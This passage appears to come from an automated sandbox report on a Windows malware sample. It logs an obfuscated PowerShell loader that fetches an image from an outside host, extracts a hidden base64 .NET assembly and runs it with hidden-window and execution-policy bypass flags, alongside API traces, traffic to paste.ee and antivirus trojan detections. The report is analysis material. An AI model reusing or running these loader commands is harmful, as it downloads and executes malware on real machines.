BqtPomkONRKGUtPomkONRKYwB0tPomkONRKCtPomkONRKtPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBOtPomkONRKGUtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFctPomkONRKZQBitPomkONRKEMtPomkONRKbtPomkONRKBptPomkONRKGUtPomkONRKbgB0tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKDstPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKEItPomkONRKeQB0tPomkONRKGUtPomkONRKcwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKutPomkONRKEQtPomkONRKbwB3tPomkONRKG4tPomkONRKbtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKBEtPomkONRKGEtPomkONRKdtPomkONRKBhtPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFUtPomkONRKcgBstPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBbtPomkONRKFMtPomkONRKeQBztPomkONRKHQtPomkONRKZQBttPomkONRKC4tPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKEUtPomkONRKbgBjtPomkONRKG8tPomkONRKZtPomkONRKBptPomkONRKG4tPomkONRKZwBdtPomkONRKDotPomkONRKOgBVtPomkONRKFQtPomkONRKRgtPomkONRK4tPomkONRKC4tPomkONRKRwBltPomkONRKHQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKYQBytPomkONRKHQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBTtPomkONRKFQtPomkONRKQQBStPomkONRKFQtPomkONRKPgtPomkONRK+tPomkONRKGgtPomkONRKaQBFtPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBFtPomkONRKE4tPomkONRKRtPomkONRKtPomkONRK+tPomkONRKD4tPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBUtPomkONRKGUtPomkONRKetPomkONRKB0tPomkONRKC4tPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKE8tPomkONRKZgtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBGtPomkONRKGwtPomkONRKYQBntPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFQtPomkONRKZQB4tPomkONRKHQtPomkONRKLgBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKTwBmtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKptPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKZwBltPomkONRKCtPomkONRKtPomkONRKMtPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYQButPomkONRKGQtPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRKttPomkONRKGctPomkONRKdtPomkONRKtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCtPomkONRKtPomkONRKKwtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEYtPomkONRKbtPomkONRKBhtPomkONRKGctPomkONRKLgBMtPomkONRKGUtPomkONRKbgBntPomkONRKHQtPomkONRKatPomkONRKtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGItPomkONRKYQBztPomkONRKGUtPomkONRKNgtPomkONRK0tPomkONRKEwtPomkONRKZQButPomkONRKGctPomkONRKdtPomkONRKBotPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGUtPomkONRKbgBktPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKQwBvtPomkONRKG0tPomkONRKbQBhtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG4tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFMtPomkONRKdQBitPomkONRKHMtPomkONRKdtPomkONRKBytPomkONRKGktPomkONRKbgBntPomkONRKCgtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKTtPomkONRKBltPomkONRKG4tPomkONRKZwB0tPomkONRKGgtPomkONRKKQtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgtPomkONRKntPomkONRKCstPomkONRKJwB5tPomkONRKHQtPomkONRKZQBztPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKFstPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBDtPomkONRKG8tPomkONRKbgtPomkONRKntPomkONRKCstPomkONRKJwB2tPomkONRKGUtPomkONRKcgB0tPomkONRKF0tPomkONRKOgtPomkONRK6tPomkONRKEYtPomkONRKcgBvtPomkONRKG0tPomkONRKQgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBitPomkONRKGEtPomkONRKcwBltPomkONRKDYtPomkONRKNtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKG8tPomkONRKbQBttPomkONRKGEtPomkONRKbgBktPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBstPomkONRKG8tPomkONRKYQBktPomkONRKGUtPomkONRKZtPomkONRKBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKWwBTtPomkONRKHktPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKcwB0tPomkONRKGUtPomkONRKbQtPomkONRKutPomkONRKFItPomkONRKZQBmtPomkONRKGwtPomkONRKZQBjtPomkONRKHQtPomkONRKaQBvtPomkONRKG4tPomkONRKLgBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKXQtPomkONRK6tPomkONRKDotPomkONRKTtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZQBktPomkONRKEEtPomkONRKcwBztPomkONRKGUtPomkONRKbQBitPomkONRKGwtPomkONRKeQtPomkONRKutPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKEctPomkONRKZQB0tPomkONRKFQtPomkONRKeQBwtPomkONRKGUtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBGtPomkONRKGktPomkONRKYgBltPomkONRKHItPomkONRKLgBItPomkONRKG8tPomkONRKbQBltPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBttPomkONRKGUtPomkONRKdtPomkONRKBotPomkONRKG8tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKC4tPomkONRKRwBltPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHQtPomkONRKTQBltPomkONRKHQtPomkONRKatPomkONRKBvtPomkONRKGQtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBWtPomkONRKEEtPomkONRKSQBotPomkONRKGktPomkONRKRQtPomkONRKptPomkONRKC4tPomkONRKSQButPomkONRKHYtPomkONRKbwBrtPomkONRKGUtPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKButPomkONRKHUtPomkONRKbtPomkONRKBstPomkONRKCwtPomkONRKItPomkONRKBbtPomkONRKG8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKFstPomkONRKXQBdtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBktPomkONRKEgtPomkONRKatPomkONRKtPomkONRKwtPomkONRKEwtPomkONRKawBGtPomkONRKE4tPomkONRKUwtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKDgtPomkONRKdwBNtPomkONRKEQtPomkONRKVQB2tPomkONRKE4tPomkONRKagBrtPomkONRKHgtPomkONRKTtPomkONRKBqtPomkONRKFUtPomkONRKeQBNtPomkONRKGktPomkONRKNtPomkONRKtPomkONRKztPomkONRKE0tPomkONRKagBFtPomkONRKHUtPomkONRKTwBEtPomkONRKGctPomkONRKetPomkONRKBMtPomkONRKHktPomkONRKOtPomkONRKtPomkONRK2tPomkONRKGMtPomkONRKStPomkONRKBStPomkONRKDtPomkONRKtPomkONRKYQBBtPomkONRKD0tPomkONRKPQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKytPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGgtPomkONRKaQBFtPomkONRKHItPomkONRKZQBntPomkONRKGEtPomkONRKcwBttPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKGgtPomkONRKaQBFtPomkONRKDUtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKItPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKQwtPomkONRK6tPomkONRKFMtPomkONRKYgBDtPomkONRKFtPomkONRKtPomkONRKcgBvtPomkONRKGctPomkONRKcgBhtPomkONRKG0tPomkONRKRtPomkONRKBhtPomkONRKHQtPomkONRKYQBTtPomkONRKGItPomkONRKQwtPomkONRKntPomkONRKCstPomkONRKJwBotPomkONRKGktPomkONRKRQtPomkONRKstPomkONRKCtPomkONRKtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKatPomkONRKB0tPomkONRKG0tPomkONRKbtPomkONRKBitPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKKQtPomkONRKntPomkONRKCktPomkONRKItPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYwBStPomkONRKEUtPomkONRKctPomkONRKBMtPomkONRKEEtPomkONRKQwBltPomkONRKCtPomkONRKtPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCwtPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKMwtPomkONRK2tPomkONRKCtPomkONRKtPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKKtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKxtPomkONRKDtPomkONRKtPomkONRKNtPomkONRKtPomkONRKrtPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDEtPomkONRKMtPomkONRKtPomkONRK1tPomkONRKCstPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKNgtPomkONRK5tPomkONRKCktPomkONRKLtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKztPomkONRKDktPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKItPomkONRKtPomkONRKgtPomkONRKCctPomkONRKUwBitPomkONRKEMtPomkONRKJwtPomkONRKstPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDktPomkONRKMgtPomkONRKptPomkONRKCktPomkONRK';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('tPomkONRK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2840
thread_handle: 0x00000448
process_identifier: 2836
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "InVOKe-eXPreSSioN ( (('zLpimage'+'Url = hiEhttps:/'+'/uploaddeimagens.com.br/images/004/654/536/original/new_image.'+'jpg?1698957750hiE;zLpwebClient = New'+'-Object System.Net.WebClient'+';'+'zLpimageBytes = zLpwebClient.DownloadData(zLpimageUrl);zLpimageText = [System.Text.Encoding]::UTF8.GetString('+'zLpimageBytes);zLpst'+'artFlag = hiE'+'<<BAS'+'E64_START>>hiE;zLpendFl'+'ag = hiE<<BASE64_END>>hiE;zLpstartIndex'+' = zLpimageText.IndexOf(zLpstartFlag);zL'+'pendIndex = zLpimageText.IndexOf'+'(zLpendFlag);zLpstartIndex -ge 0 -and zLpendIndex -gt zLpstartIndex;zLp'+'startIndex += zL'+'pstartFlag.Length;zLpbase64Length = zLpendIndex - zL'+'pstartIndex;zLpbase64Comma'+'nd = zLpimageText.Substring(zL'+'pstartIndex, zLpbase64'+'Length);zLpcom'+'mandB'+'ytes'+' = [System.Con'+'vert]::FromBase64String(zLpbase64'+'Command);zLploadedAssembly = [Sy'+'stem.Reflection.Assembly]::Load(zLpcommandBytes);zLptype = zLploadedAssembly.'+'GetType(hiEFiber.HomehiE);zLpmethod = zLptype.Ge'+'tMethod(hiEVAIhiE).Invoke(zLpnull, [object[]] (hiEdHh0LkFNS'+'C8wMDUvNjkxLjUyMi43MjEuODgxLy86cHR0aA==hiE , hiEhiE , hiE2hiE , '+'hiEregasmhiE , hiE5hiE , hiEC:SbCProgramDataSbC'+'hiE, '+'hiEhtmlbhiE))') -cREpLACe 'zLp',[CHAR]36 -RepLACe([CHAR]104+[CHAR]105+[CHAR]69),[CHAR]39 -RepLACe 'SbC',[CHAR]92))"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x0000044c
1 1 0
Kaspersky HEUR:Trojan.Script.Generic
Kingsoft Script.Trojan.Generic.a
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received WeU¼º ]Ò«‡ ([&¹CŠ¯²¤åMDOWNGRD ŸYß äŠ3/>ÕÂïS`-† I}a¤A¶æµ+CÌÀ ÿ 
Data received Q
Data received “
Data received AÇ5½Q‘©»ël?õŸßž R…–¿¡Fƒ)틣†Ó»9Î7èKáêkD^gÙ6Þ!l—éØsÌbtÒ ¤H0F!°+hë`Ñ5WluJ*¸½÷€ºScR+ú¤¬d×_X!Ú±U¶‚>N²ÂÐÞW•\ ë /õ†«ç£N[ê$½
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received s­ŽYØ®ÝwÄQnjõ?"pŠý~v—Éå'¦&þÔ_T†oÉ*eZnz
Data sent yueU¼3É:$ߜžê>L„U‘SùþV‡®6“É3O L/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBA ÞŒº4³om.’ çLˍ¤®×šI¯Â§8Ê9¹’{ҋoÉÛr±A„Ýÿ´æªR\íI™ñ½‰Š0ˆNif\pè¥þ"'hü­}—IëòV¯>v»¼Ù/Q¾bøå¤ý½Õ@‰2¢†F¶°
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

WSASend

 buffer: kgeU¼/€GÔöérùJk~çXL§ÓM5~í]A wN/5 ÀÀÀ À 28&ÿ paste.ee  
socket: 600
0 0

WSASend

 buffer: FBAš§V$ÙÏÈo£Á06Æý²a1†Îh0p°²Ñæ€q(,OiÂüò‹˜}ˆ•Wki£gqmtühz//ˆa½;0À‰ -z•ÿÛ@ám¶ìt.ïhڇôDäžûu#JñM’RV»ý×À1 X×òÍÂ
socket: 600
0 0

WSASend

 buffer: ÀºžP¡ì o° ñ BŸñV‚c»_ðuæ$ž]hcÑÙì_œ cÂÐ~&º ˆ æ¹ÙÈ1‹‡Àövä6ðÉx"b¹Kþ;ûd,[É?o_àž—©¡Tú¡]Yyœe{℺÷¶ˆDõÅ(N-—À€ª`t,ø{Û×¼-Š9‹G¶÷2X£ÄhµÓLžÚE \“”9†û¨å±ŽU»[kìF..t 3´
socket: 600
0 0
Time & API Arguments Status Return Repeated

WSASend

 buffer: kgeU¼/€GÔöérùJk~çXL§ÓM5~í]A wN/5 ÀÀÀ À 28&ÿ paste.ee  
socket: 600
0 0

WSASend

 buffer: FBAš§V$ÙÏÈo£Á06Æý²a1†Îh0p°²Ñæ€q(,OiÂüò‹˜}ˆ•Wki£gqmtühz//ˆa½;0À‰ -z•ÿÛ@ám¶ìt.ïhڇôDäžûu#JñM’RV»ý×À1 X×òÍÂ
socket: 600
0 0

WSASend

 buffer: ÀºžP¡ì o° ñ BŸñV‚c»_ðuæ$ž]hcÑÙì_œ cÂÐ~&º ˆ æ¹ÙÈ1‹‡Àövä6ðÉx"b¹Kþ;ûd,[É?o_àž—©¡Tú¡]Yyœe{℺÷¶ˆDõÅ(N-—À€ª`t,ø{Û×¼-Š9‹G¶÷2X£ÄhµÓLžÚE \“”9†û¨å±ŽU»[kìF..t 3´
socket: 600
0 0

send

 buffer: yueU¼3É:$ߜžê>L„U‘SùþV‡®6“É3O L/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1436
sent: 126
1 126 0

send

 buffer: FBA ÞŒº4³om.’ çLˍ¤®×šI¯Â§8Ê9¹’{ҋoÉÛr±A„Ýÿ´æªR\íI™ñ½‰Š0ˆNif\pè¥þ"'hü­}—IëòV¯>v»¼Ù/Q¾bøå¤ý½Õ@‰2¢†F¶°
socket: 1436
sent: 134
1 134 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 2024
0 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "InVOKe-eXPreSSioN ( (('zLpimage'+'Url = hiEhttps:/'+'/uploaddeimagens.com.br/images/004/654/536/original/new_image.'+'jpg?1698957750hiE;zLpwebClient = New'+'-Object System.Net.WebClient'+';'+'zLpimageBytes = zLpwebClient.DownloadData(zLpimageUrl);zLpimageText = [System.Text.Encoding]::UTF8.GetString('+'zLpimageBytes);zLpst'+'artFlag = hiE'+'<<BAS'+'E64_START>>hiE;zLpendFl'+'ag = hiE<<BASE64_END>>hiE;zLpstartIndex'+' = zLpimageText.IndexOf(zLpstartFlag);zL'+'pendIndex = zLpimageText.IndexOf'+'(zLpendFlag);zLpstartIndex -ge 0 -and zLpendIndex -gt zLpstartIndex;zLp'+'startIndex += zL'+'pstartFlag.Length;zLpbase64Length = zLpendIndex - zL'+'pstartIndex;zLpbase64Comma'+'nd = zLpimageText.Substring(zL'+'pstartIndex, zLpbase64'+'Length);zLpcom'+'mandB'+'ytes'+' = [System.Con'+'vert]::FromBase64String(zLpbase64'+'Command);zLploadedAssembly = [Sy'+'stem.Reflection.Assembly]::Load(zLpcommandBytes);zLptype = zLploadedAssembly.'+'GetType(hiEFiber.HomehiE);zLpmethod = zLptype.Ge'+'tMethod(hiEVAIhiE).Invoke(zLpnull, [object[]] (hiEdHh0LkFNS'+'C8wMDUvNjkxLjUyMi43MjEuODgxLy86cHR0aA==hiE , hiEhiE , hiE2hiE , '+'hiEregasmhiE , hiE5hiE , hiEC:SbCProgramDataSbC'+'hiE, '+'hiEhtmlbhiE))') -cREpLACe 'zLp',[CHAR]36 -RepLACe([CHAR]104+[CHAR]105+[CHAR]69),[CHAR]39 -RepLACe 'SbC',[CHAR]92))"
parent_process wscript.exe martian_process powershell -command "$Codigo = 'SQButPomkONRKFYtPomkONRKTwBLtPomkONRKGUtPomkONRKLQBltPomkONRKFgtPomkONRKUtPomkONRKBytPomkONRKGUtPomkONRKUwBTtPomkONRKGktPomkONRKbwBOtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKtPomkONRKgtPomkONRKCgtPomkONRKKtPomkONRKtPomkONRKntPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQtPomkONRKntPomkONRKCstPomkONRKJwBVtPomkONRKHItPomkONRKbtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKHQtPomkONRKdtPomkONRKBwtPomkONRKHMtPomkONRKOgtPomkONRKvtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKC8tPomkONRKdQBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZtPomkONRKBltPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQButPomkONRKHMtPomkONRKLgBjtPomkONRKG8tPomkONRKbQtPomkONRKutPomkONRKGItPomkONRKcgtPomkONRKvtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBztPomkONRKC8tPomkONRKMtPomkONRKtPomkONRKwtPomkONRKDQtPomkONRKLwtPomkONRK2tPomkONRKDUtPomkONRKNtPomkONRKtPomkONRKvtPomkONRKDUtPomkONRKMwtPomkONRK2tPomkONRKC8tPomkONRKbwBytPomkONRKGktPomkONRKZwBptPomkONRKG4tPomkONRKYQBstPomkONRKC8tPomkONRKbgBltPomkONRKHctPomkONRKXwBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKLgtPomkONRKntPomkONRKCstPomkONRKJwBqtPomkONRKHtPomkONRKtPomkONRKZwtPomkONRK/tPomkONRKDEtPomkONRKNgtPomkONRK5tPomkONRKDgtPomkONRKOQtPomkONRK1tPomkONRKDctPomkONRKNwtPomkONRK1tPomkONRKDtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBOtPomkONRKGUtPomkONRKdwtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRKttPomkONRKE8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKCtPomkONRKtPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBOtPomkONRKGUtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFctPomkONRKZQBitPomkONRKEMtPomkONRKbtPomkONRKBptPomkONRKGUtPomkONRKbgB0tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKDstPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKEItPomkONRKeQB0tPomkONRKGUtPomkONRKcwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKutPomkONRKEQtPomkONRKbwB3tPomkONRKG4tPomkONRKbtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKBEtPomkONRKGEtPomkONRKdtPomkONRKBhtPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFUtPomkONRKcgBstPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBbtPomkONRKFMtPomkONRKeQBztPomkONRKHQtPomkONRKZQBttPomkONRKC4tPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKEUtPomkONRKbgBjtPomkONRKG8tPomkONRKZtPomkONRKBptPomkONRKG4tPomkONRKZwBdtPomkONRKDotPomkO